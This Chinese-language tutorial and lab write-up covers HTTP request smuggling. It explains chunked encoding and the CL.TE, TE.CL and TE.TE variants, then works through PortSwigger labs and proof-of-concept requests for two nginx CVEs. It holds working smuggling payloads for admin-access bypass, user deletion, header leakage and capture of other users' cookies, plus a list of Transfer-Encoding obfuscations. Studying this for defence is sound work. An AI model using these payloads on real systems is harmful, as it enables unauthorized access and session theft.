关于HTTP Request Smuggling(HTTP请求夹带)的二三事
2022-9-27 14:39:49 Author: xz.aliyun.com(查看原文) 阅读量:37 收藏

不同版本的HTTP的区别

显著特点 支持的请求方法 性能优化 泛用程度
HTTP0.9 不支持请求头响应头,纯文本 GET 已过时
HTTP1.0 支持请求头响应头,超文本 GET、HEAD、POST 短链接,无优化 仍有少量使用
HTTP1.1 性能优化,增加请求方法 增加了OPTIONS,PUT, DELETE, TRACE, CONNECT方法 增加Keep-Alive和chunked分块传输,请求流水线等 目前使用最广泛
HTTP2.0 增加了二进制分帧 无变化 增加了二进制分帧层用与多路复用,通信在一个链接上进行,ServerPush 目前应用较少

关于HTTP1.1

这个版本的HTTP是现如今使用最为广泛的HTTP协议,所以对于这个版本我们可以进一步分析一下

这个版本增加了Keep-alive特性,那么这个特性是啥呢?

所谓Keep-Alive,就是在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive,告诉服务器,接收完这次HTTP请求后,不要关闭TCP链接,后面对相同目标服务器的HTTP请求,重用这一个TCP链接,这样只需要进行一次TCP握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。当然,这个特性在HTTP1.1中是默认开启的。

有了Keep-Alive之后,后续就有了Pipeline,在这里呢,客户端可以像流水线一样发送自己的HTTP请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端。

现如今,浏览器默认是不启用Pipeline的,但是一般的服务器都提供了对Pipleline的支持。

关于Content-Length

这个简单些,我们放到后面讲。

关于Transfer-Encoding

Transfer-Encoding 是一种被设计用来支持 7-bit 传输服务安全传输二进制数据的字段,有点类似于 MIME (Multipurpose Internet Mail Extensions) Header 中的 Content-Transfer-Encoding 。在HTTP的情况下,Transfer-Encoding 的主要用来以指定的编码形式编码 payload body 安全地传输给用户,并将仅用于传输效率或安全性的有效负载编码与所选资源的特征区分开来。在 HTTP/1.1 中引入,在 HTTP/2 中取消。引入了一个名为 TE 的头部用来协商采用何种传输编码。但是最新的 HTTP 规范里,只定义了一种传输编码:分块编码(chunked)。

分块编码相当简单,在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。这时,报文中的实体需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的 CRLF(\r\n),也不包括分块数据结尾的 CRLF。最后一个分块长度值必须为 0,对应的分块数据没有内容,表示实体结束。

require('net').createServer(function(sock) {
    sock.on('data', function(data) {
        sock.write('HTTP/1.1 200 OK\r\n');
        sock.write('Transfer-Encoding: chunked\r\n');
        sock.write('\r\n');

        sock.write('b\r\n');
        sock.write('01234567890\r\n');

        sock.write('5\r\n');
        sock.write('12345\r\n');

        sock.write('0\r\n');
        sock.write('\r\n');
    });
}).listen(9090, '127.0.0.1');

上面的代码中,响应头中表明接下来的实体会采用分块编码,然后输出了 11 字节的分块,接着又输出了 5 字节的分块,最后用一个 0 长度的分块表明数据已经传完了。用浏览器访问这个服务,可以得到正确结果。

当Content-Encoding 和 Transfer-Encoding 二者结合来用,其实就是针对进行了内容编码(压缩)的内容再进行传输编码(分块)。下面是我用 telnet 请求测试页面得到的响应,可以看到对 gzip (压缩)内容进行的分块:

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 11 Sep 2022 14:44:23 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Content-Encoding: gzip

1f
�H���W(�/�I�J

0

这样的属性在MDN中还有列举

chunked | compress | deflate | gzip | identity

chunk传输数据格式如下,其中size的值由16进制表示。

[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]

其实也就是

[chunk size][\r\n]
[chunk data][\r\n]
[chunk size][\r\n]
[chunk data][\r\n]
[chunk size = 0][\r\n][\r\n]

举个例子(这里我没做成功,在小皮里面写了个脚本本地包bp抓不到,各种方法都不管用,我也不知道哪里出问题了。。。。这里看v0w师傅的案例吧)

假设我们想通过POST传输这样的信息

正常请求是这样的:

通过增加Transfer-Encoding: chunked的headers,我们可以这样传输:

POST /index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Transfer-Encoding: chunked

2\r\n
na\r\n
c\r\n
me=V0WKeeper\r\n
0\r\n
\r\n
  • 第一个分块:\r\n是CRLF,所以这里的\r\n是两个字节;第一个数字 2 表示chunked-size,是指接下来会有 2 个字节的数据(这个数字是16进制的),也就是 na 这 2 个字母,然后按照 RFC 文档标准,字母 na 部分后面需要跟\r\n表示这个na是 chunk-data部分
  • 第二个分块:16进制的数字 c 后面表示chunk-size部分,是十六进制数表示这个分块的chunk-data是12字节,即me=V0WKeeper,之后\r\n表明这是chunk-data部分
  • 最后有一个0\r\n\r\n表示分块传输结束。

师傅已经说的很明白了,没有必要过多赘述了。

CL&TE优先级

CL表示Content-Length,TE表示Transfer-Encoding。那么现在有一个问题:对于 CL & TE 解析是否存在优先级顺序?

在RFC中规定如果接收到带有 Transfer-Encoding 和 Content-Length 头字段的消息,则 Transfer-Encoding 会覆盖 Content-Length。这样的消息可能表明尝试执行请求走私(第 9.5 节)或响应拆分(第 9.4 节),应该作为错误处理。发送者必须在向下游转发这样的消息之前删除接收到的 Content-Length 字段。

这里指出了 TE 优先于 CL ,但是我们仍然可以通过一些方式绕过,又或者说,那个中间件的也没有依照这个 RFC 标准规范实现,这就导致了差异性的存在。

HTTP请求夹带是什么?

HTTP请求夹带(HTTP request smuggling)又名HTTP请求走私,是一种干扰网站处理从一个或多个用户接受的请求的一种攻击技术。通俗地理解就是:攻击者发送一个语句模糊的请求,就有可能被解析为两个不同的HTTP请求,第二请求就会“逃过”正常的安全设备的检测,使攻击者可以绕过安全控制,未经授权访问敏感数据并直接危害其他应用程序用户。

攻击者部分前端请求被后端服务器解释为下一个请求的开始。实际上优先于下一个正常请求,因此会干扰应用程序处理正常请求的方式。。

如何实现HTTP请求夹带?

HTTP请求走私漏洞的产生于:前端的反向代理服务器和后端的Web服务器,对同一个请求的理解不一致。

今天的Web应用程序经常在用户和最终应用程序逻辑之间使用HTTP服务器链。

用户将请求发送到前端服务器(有时称为负载平衡器或反向代理),此服务器将请求转发给一个或多个后端服务器。

在现代基于云的应用程序中,这种类型的体系结构越来越常见,并且在某些情况下是不可避免的。

当前端服务器将HTTP请求转发到后端服务器时,它通常通过相同的后端网络连接发送多个请求,因为这样做效率更高,性能更高。

协议非常简单:HTTP请求一个接一个地发送,接收服务器解析HTTP请求标头以确定一个请求结束的位置和下一个请求的开始:

此时,Front-End前端服务器和Back-End后端服务器关于多个请求之间的边界问题的一致性是非常重要的!否则,攻击者可能发送一个模糊的请求,若前端服务器和后端服务器之前对请求的边界没有严格定义好,就会对这个请求执行不用的解析处理方式,从而产生不同的相应结果,请求夹带攻击也就由此产生。

在这里,攻击者将后端服务器的部分前端请求解释为下一个请求的开始。它有效地预先附加到下一个请求,因此可能会干扰应用程序处理请求的方式。

根据破坏请求的方式不同,一般将HTTP走私分为几种不同的情形(CL:Content-Length, TE:Transfer-Encoding):

  • CL!=0
  • CL-CL
  • CL-TE
  • TE-CL
  • TE-TE

漏洞产生原因

标准数据包结束的标头标志

Content-Length(简称为CL)

Content-Length, 是HTTP消息长度, 用十进制数字表示的 八位字节的数目Content-Length首部指示出报文中实体主体的字节大小. 这个大小是包含了所有内容编码的, 比如, 对文本文件进行了gzip压缩的话, Content-Length首部指的就是压缩后的大小而不是原始大小。

这个就简单易懂,它以字节为单位指定消息体的长度。

报文长度数经常出问题,建议使用Burp插件HTTP Request Smuggler自动处理。
最方便的方法是:将报文完整粘贴到Sublime Text文本编辑器中如果末尾有空行别忘了补充上。选中可直接查看字符数。

这里不同平台还是有一定区别的

win平台:换行用0d0a,2个字节表示
linux和mac:换行分别用0a和0d,1个字节表示

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

q=smuggling

Transfer-Encoding(简称为TE)

用于指定消息体使用分块编码(Chunked Encode),也就是说消息报文由一个或多个数据块组成,每个数据块大小以字节为单位(十六进制表示) 衡量,后跟换行符,然后是块内容。

最重要的是:整个消息体以大小为0的块结束,也就是说解析遇到0数据块就结束。

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b             (16进制6,代表每一块chunck长11位)
q=smuggling    (字符串11字节长,不要加2哈,与CL不同)、
0               (遇0 chunck结束)

由于HTTP规范提供了以上两种不同方法来指定HTTP消息体的长度,因此单个消息可以同时使用这两种方法,这种情况下,它们就会发生相互冲突。HTTP规范试图通过声明来防止此问题的发生,即:如果Content-Length和Transfer-Encoding标头同时出现在一个请求中,则应忽略Content-Length标头。这种规范在一台服务器接收请求时可以避免出现歧义,但在两台或多台服务器链接收请求时可能会出现问题。

为啥数量一多就会出问题呢?有俩原因

某些服务器不支持请求中的Transfer-Encoding标头;

如果攻击者把标头以某种方式进行模糊构造,则可能会导致某些支持Transfer-Encoding标头的服务器不会处理部份消息内容,而把这些内容当成是下一个请求的起始。

这样一来,前端服务器和后端服务器对模糊构造的Transfer-Encoding标头解析结果不同,相互之间对请求的边界不能形成共识,就会导致请求夹带漏洞的产生。

HTTP请求夹带攻击需要将Content-Length头和Transfer-Encodeing头放入单个请求中,并操控使得前端和后端服务器以不同方式处理请求,这种攻击取决于前端和后端两台服务器对标头的处理方式:

CL!=0 :Content-length不为零

CL.CL:前端服务器使用Content-length,后端服务器使用Content-length头部。

CL.TE:前端服务器使用Content-length,后端服务器使用Transfer-Encoding头部。

TE.CL:前端服务器使用Transfer-Encodin头部,后端服务器使用Content-length头部。

TE.TE:前端和后端服务器都支持Transfer-Encodin报头,但可以通过以某种方式混淆报头来诱导其中一个服务器不处理它。

CL!=0

如果前端代理服务器允许GET携带请求体,而后端服务器不允许GET携带请求体,后端服务器就会直接忽略掉GET请求中的Content-Length头,这就有可能导致请求走私。

其实在这里,影响到的并不仅仅是GET请求,所有不携带请求体的HTTP请求都有可能受此影响,只因为GET比较典型。

RFC2616中,没有对GET请求像POST请求那样携带请求体做出规定,在最新的RFC7231的4.3.1节中也仅仅提了一句。

在 GET 请求上发送有效负载正文可能会导致某些现有实现拒绝该请求

举个例子

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 43\r\n


GET / admin HTTP/1.1\r\n
Host: example.com\r\n
\r\n

在前端服务器看来它是一个请求,但是在后端服务器来看它就是:

第一个请求

GET / HTTP/1.1\r\n
Host: example.com\r\n

第二个请求

GET / admin HTTP/1.1\r\n
Host: example.com\r\n

可导致请求走私

CL.CL漏洞

在RFC7230的第3.3.3节中的第四条中,规定当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。

但是很明显这并非是强制的,如果服务器不遵守安全规定在服务器收到多个CL不相同的请求时不返回400错误,那么就可能会导致请求走私。

假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400错误,但是中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端源站服务器按照第二个Content-Length的值进行处理。

构造一个特殊的请求

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

中间代理服务器看到的第一个CL长度为8,此时代码的567行字符总数正好为8,代理服务器觉得没啥问题,就直接向后端的源站服务器原封不动的发包。

但此时后端服务器看到的第一个 CL长度为7,当他读完前七个字符之后,还剩缓冲区中的最后一个a没有读,那么此时的a对于后端服务器来说就是下一个请求的一部分

就在此时,有个倒霉蛋对服务器进行了请求,假设请求是

GET /index.html HTTP/1.1\r\n
Host: example.com\r\n

从前面我们也知道了,代理服务器与源站服务器之间一般会重用TCP连接。
这时候正常用户的请求就拼接到了字母a的后面,当后端服务器接收完毕后,它实际处理的请求其实是

aGET /index.html HTTP/1.1\r\n
Host: example.com\r\n

这样的话用户就会收到一个类似于aGET request method not found的报错。这样就实现了一次HTTP走私攻击,而且还对正常用户的行为造成了影响。

但很明显这种情况过于“巧合”应该很难遇见,存在两个CL的包一般服务器都不会接受,在RFC2616的第4.4节中,规定:如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时,在处理的时候必须忽略Content-Length,这就意味着我们可以在头部同时包含这两种请求头,相比这下这种方式更现实一些。

CL.TE漏洞

front-end: Contnt-Length back-end: Transfer-Encoding

前端服务器使用了Content-Length标头,后端服务器使用Transfer-Encoding标头

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0    (3字节)
      (2字节)
SMUGGLED   (8字节,最后2个空字节不加)

前端服务器处理Contnt-Length,长度为13 涵盖了所有bady数据(空行算4个字节)
后端服务器处理Transfer-Encoding,处理第一个块,该块被声明为零长度,因此被视为终止请求。余下的SMUGGLED,后端服务器将遗留字节作为下一个请求的开始

此时消息报文传输到采用Transfer-Encoding头的后端服务器,它是采用分块编码来处理消息报文的,当解析到第一个分块为0时,处理结束。那么剩余未处理的 smuggle-data 字节内容,后端服务器将一直等待直至下一个请求到来时处理,即后端服务器将这些字节视为序列中下一个请求的开始。此时若前端服务器继续向后端服务器发送请求或其他用户发送请求时,那么后端服务器接收的下一个请求内容就是:

SMUGGLEDPOST / HTTP/1.1
Host: vulnerable-website.com
....

这样后端服务器将会返回响应:

Unrecognized method SMUGGLEDPOST

进入靶场试试

请求正常:

加入TE头,并且构造POST数据,夹带出GPOST请求

发送恶意请求:

继续发送第二个请求(这个请求也可能是其他用户发送的,总之都在后端服务器的请求序列中),这个请求将加入后端服务器的请求等待序列并且被处理解析为GPOST请求方式:

然后就成了

TE.CL漏洞

这里的前端服务器采用Transfer-Encoding头,而后端服务器采用Content-Length头。攻击者可以通过以下单个请求来进行夹带攻击:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Transfer-Encoding: chunked

12
smuggle-data
0

过程和上一lab相反,在单个请求中,前端服务器使用Transfer-Encoding头,将消息体视为分块编码方式,现不是依照CL头的长度来结束请求,而是通过TE头规范中遇到0字节来结束请求。故当前端服务器接收到第一个请求时候,解析得到的数据为:

此数据包传输到采用Content-Length头的后端服务器,由于CL指定的长度为4,所以消息内容到12结束,剩余未处理的 smuggle-data 字节内容,后端服务器将一直等待直至下一个请求到来时处理。

在bp的Repeater时,要将"Repeater >> Update Content-Length"选项关闭,手工指定长度。

同样主页抓包,改为POST请求方式,并且加入Transfer-Encoding字段头:

造成请求夹带,这里手动将CL的长度改为4:

第二次发送请求即可夹带出GPOST请求:

TE.TE漏洞

也很容易理解,当收到存在两个请求头的请求包时,前后端服务器都处理Transfer-Encoding请求头,这确实是实现了RFC的标准。不过前后端服务器毕竟不是同一种,这就有了一种方法,我们可以对发送的请求包中的Transfer-Encoding进行某种混淆操作,从而使其中一个服务器不处理Transfer-Encoding请求头。从某种意义上还是CL-TE或者TE-CL

1. Transfer-Encoding: xchunked
2. Transfer-Encoding : chunked

3. Transfer-Encoding: chunked
4. Transfer-Encoding: x

5. Transfer-Encoding:[tab]chunked

6. [space]Transfer-Encoding: chunked

7. X: X[\n]Transfer-Encoding: chunked

8. Transfer-Encoding
: chunked

要发现TE.TE漏洞,必须找到Transfer-Encoding头的某些变体,构造之,使得前端或后端服务器只有一个对其进行处理,而另一个服务器不进行TE解析,转而进行CL解析,演变成CL.TE或TE.CL漏洞的形式。

进入靶场试试

第一次请求

POST / HTTP/1.1
Host: 0a86003304b1bf71c01a33c2008100ad.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Connection: close
Cookie: session=QB6Ea8U4A6t52sbFsxA8Oj4791fngORH
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Transfer-encoding: x
Content-Length: 4

57
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

0

首先在第17,18行对TE进行混淆,然后设置CL头的结束位置为四个字节,最后在0后面跟上两次换行,即\r\n

通过第一次请求,TE.TE转为TE.CL形式。

第二次请求,即完成HTTP请求夹带攻击:

ol

绕过前端安全控制

依然用的BP的练兵场,对于这种攻击方式BP提供了两个靶场,一个是CL.TE的,另一个是TE.CL形式的,这些稍后都会讲到。

CL.TE形式

这个题题目要求是这样的

本实验涉及前端和后端服务器,前端服务器不支持分块编码。
/admin 有一个管理面板,但前端服务器阻止访问它。
要解决实验室问题,请向访问管理面板并删除用户 carlos 的后端服务器发送请求。

架构和之前提到是CL-TE实验一样,只不过这次我们需要去利用 HTTP Smuggling 获取 admin 权限并删除 carlos 用户。

首先尝试访问/admin并观察请求,但被阻止了。

发现 "Path /admin is blocked",看来不能通过正常方式访问/admin

构造个Smuggling方式访问试试

POST / HTTP/1.1
Host: 0aa400a60419aecec008449900fa009d.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: session=clF0XU0E1rYd4rPv412CSigJ5kNxoZiI
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1

这里有个小细节,将Connectionclose改为Connection: keep-alive

发送数据包两次,可以看到限制是什么

说是对本地用户开放,我们就加个host头,增加Host: localhost

一样POST了两次

可以看到有删除的接口,直接构造

Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost

然后就ol

这里CL数值计算是这样的

-->POST data需要空一行,不计数
0                                 -->3个字节
                                  -->2个字节
GET /admin HTTP/1.1               -->19+2 = 21 个字节
                                  -->2个字节
                                  -->2个字节
所以这么结算下来就是 3+2+21+2+2 = 30字节。

TE.CL形式

题目要求和前面的是完全一样的,只不过是换了个形式

依旧是先尝试访问/admin,依旧是被阻塞

根据TE.CL来构造一个请求

Content-length: 4
Transfer-Encoding: chunked
                                                          -->POST data需要空一行,不计数
60                                                        -->60占两个字符,换行两个字符,共四个,上面的CL限制字符数量为4,所以下面的内容当作下一个包的开头。
POST /admin HTTP/1.1  
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0                                                         -->TE到0结束,从第五行到0为下个包

发包两次,然后成功访问

还是要求本地,加个host

Content-length: 4
Transfer-Encoding: chunked

71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

进入后,直接更改走私请求

Content-length: 4
Transfer-Encoding: chunked

87
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

就ok了

利用 HTTP 请求走私揭示前端请求重写

在有的网络环境下,前端代理服务器在收到请求后,不会直接转发给后端服务器,而是先添加一些必要的字段,然后再转发给后端服务器。这些字段是后端服务器对请求进行处理所必须的,比如:

  • 描述TLS连接所使用的协议和密码
  • 包含用户IP地址的XFF头
  • 用户的会话令牌ID

总之,如果不能获取到代理服务器添加或者重写的字段,我们走私过去的请求就不能被后端服务器进行正确的处理。那么我们该如何获取这些值呢。PortSwigger提供了一个很简单的方法,主要是三大步骤:

  • 找一个能够将请求参数的值输出到响应中的POST请求
  • 把该POST请求中,找到的这个特殊的参数放在消息的最后面
  • 然后走私这一个请求,然后直接发送一个普通的请求,前端服务器对这个请求重写的一些字段就会显示出来。

有时候 Front 服务器会给转发的请求添加一些请求头再转发给 Backend 服务器,我们可以利用 HTTP Smuggling 的方式来泄露这些请求头。

整个题目理解一下

这个题涉及前后端服务器,前端服务器不支持分块编码。

题目要求还是一样的,还是删除一个用户

进入靶场后发现多了个搜索框

随变输点东西抓包看一下

可以看到,请求方式是POST,底下出现了一个search栏,网页上也有回显,符合上文提到的条件:能够将请求参数的值输出到响应中的POST请求

尝试使用 HTTP Smuggling 方式访问,但是被不成功:

我们把search放在后面,看看可以输出什么

成功输出了,重写的字段显现出来了

下面分析一下原理

POST / HTTP/1.1
Content-Length: 99
Content-Type: application/x-www-form-urlencoded

search=123

看这个数据包,CL字段的值编辑为99,很显然345行的代码量绝对不足99,因此后端服务器在收到这个请求之后,会因为99而认为没有传输完毕,继续等待传输,然后我们继续发送数据包,后端收到的是前端处理好的请求,当接收的总长度到达99时,后端服务器来回认为这个请求传输完毕了,然后进行相应

那他收到的请求到底是什么样子的呢?

POST / HTTP/1.1
Content-Length: 99
Content-Type: application/x-www-form-urlencoded

search=123POST / HTTP/1.1
X-vNEiJW-Ip: 60.208.116.230
Host: 0af50032039935cac09024a000f90051.web

又因为search的结果会会回显,所以就得到了请求头

有人要问了:啊我直接添加X-vNEiJW-Ip: 127.0.0.1这个请求头不就行了吗?

那我们试试

可以发现并不会被识别,这是因为我们伪造的X-vNEiJW-Ip被服务器加上的X-vNEiJW-Ip覆盖掉了,我们可以利用上面提到的技巧,同样利用Content-Length将服务器加上的header给截断。

成功访问到admin

然后删除数据就行了

捕获其他用户的请求

题目要求是将请求走私到后端服务器,导致下一个用户的请求存储在应用程序中。然后检索下一个用户的请求并使用受害用户的 cookie 访问他们的帐户。

所以我们要找到一个可以保存法没回信息的功能点,然后通过smuggling等待用户访问,从而将用户的请求会现在功能点上。

发现它的评论是可以返会并保存且可见的

那我们直接构造一个smuggling请求

Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 600
Cookie: session=KNcf39DxFk6mablQsC1OtaXSs1ryF37z

csrf=zqKh3HpJ0bsKnWNIaPjMmPnjig4efP22&postId=5&name=Carlos+Montoya&email=carlos%40normal-user.net&website=&comment=test

他的用户访问大概是两分钟一次吧。

回显是这样的

此时我已经发现有些不对了,这不是我的信息吗......不确定,再看看,这里发现最重要的cookie还没有出现,那就增大CL的长度,让回显更多一些

和我自己的cookie是一样的....

这抓半天抓到自己了,又重新做了几遍,结果都是抓的自己的cookie,应该是自己成为了在发包之后发评论的用户导致的,只能说这个靶场有些小问题,用户访问的太慢了,当我调大CL长度之后又直接报错了,就这样吧

原理是比较好理解的,和上个题目有些相似。

CVE-2019-20372

Nginx 1.17.7之前版本中 error_page 存在安全漏洞。攻击者可利用该漏洞读取未授权的Web页面。

MITRE CVE 字典将此问题描述为:1.17.7 之前的 NGINX 具有某些 error_page 配置,允许 HTTP 请求走私,攻击者能够在 NGINX 由负载均衡器前端的环境中读取未经授权的网页

它不使用 error_page 进行 302 重定向。它仅使用 error_page 使用命名位置,即:error_page 404 /404.html;

location = /40x.html { } error_page 500 502 503 504 /50x.html; location = /50x.html { }

构造请求头

GET /test.html HTTP/1.1
Host: www.0-sec.org
Content-Length: 2

GET /poc.html HTTP/1.1
Host: www.0-sec.org
Content-Length: 15

收到如下反应

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 01 May 2020 18:28:44 GMT
Content-Type: text/html
Content-Length: 33
Last-Modified: Thu, 30 Apr 2020 14:36:32 GMT
Connection: keep-alive
ETag: "5eaae270-21"
Accept-Ranges: bytes

<html><h1>Test Page!</h1></html>
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 01 May 2020 18:28:44 GMT
Content-Type: text/html
Content-Length: 15
Last-Modified: Thu, 30 Apr 2020 14:35:41 GMT
Connection: keep-alive
ETag: "5eaae23d-f"
Accept-Ranges: bytes

NGINX PoC File

这里看看v0w师傅是咋写的

server {
 listen 80;
 server_name localhost;
 error_page 401 http://example.org;
 location / {
 return 401;
 }
}
server {
 listen 80;
 server_name notlocalhost;
 location /_hidden/index.html {
 return 200 'This should be hidden!';
 }
}

这时候我们可以向服务器发送以下请求

GET /a HTTP/1.1
Host: localhost
Content-Length: 56
GET /_hidden/index.html HTTP/1.1
Host: notlocalhost

看一下服务器是怎么处理的

printf "GET /a HTTP/1.1\r\nHost: localhost\r\nContent-Length: 56\r\n\r\nGET
/_hidden/index.html HTTP/1.1\r\nHost: notlocalhost\r\n\r\n" | ncat localhost 80 --noshutdown

等于说是吧两个请求都间接的执行了,我们看一下burp里面的返回值

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.17.6
Date: Fri, 06 Dec 2019 18:23:33 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http://example.org
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.17.6</center>
</body>
</html>
HTTP/1.1 200 OK
Server: nginx/1.17.6
Date: Fri, 06 Dec 2019 18:23:33 GMT
Content-Type: text/html
Content-Length: 22
Connection: keep-alive
This should be hidden!

CVE-2020-12440

Nginx 1.18.0及之前版本中存在安全漏洞。攻击者可利用该漏洞进行缓存投毒,劫持凭证或绕过安全保护。

构造请求

GET /test.html HTTP/1.1
Host: www.0-sec.org
Content-Length: 2

GET /poc.html HTTP/1.1
Host: www.0-sec.org
Content-Length: 15

回显

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 01 May 2020 18:28:44 GMT
Content-Type: text/html
Content-Length: 33
Last-Modified: Thu, 30 Apr 2020 14:36:32 GMT
Connection: keep-alive
ETag: "5eaae270-21"
Accept-Ranges: bytes

<html><h1>Test Page!</h1></html>
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 01 May 2020 18:28:44 GMT
Content-Type: text/html
Content-Length: 15
Last-Modified: Thu, 30 Apr 2020 14:35:41 GMT
Connection: keep-alive
ETag: "5eaae23d-f"
Accept-Ranges: bytes

NGINX PoC File

没有什么特别的配置

这里还是看了v0w师傅的解....网上关于这两个洞的分析太少了。

CL!=0的情况

利用方面只需要注意计算好CL即可。可以发现这里的两个请求都进行了处理

GET /hello.html HTTP/1.1
Host: 172.16.40.146
Content-Length: 2


GET /test.html HTTP/1.1
Host: 172.16.40.146
Content-Length: 2

这个payload亲测能解

GET / HTTP/1.1
Host: 127.0.0.1
Content-Length: 4
Transfer-Encoding : chunked

46
GET /404 HTTP/1.1
Host: 127.0.0.1
Content-Length:15

aa
0s

文章来源: https://xz.aliyun.com/t/11728
如有侵权请联系:admin#unsafe.sh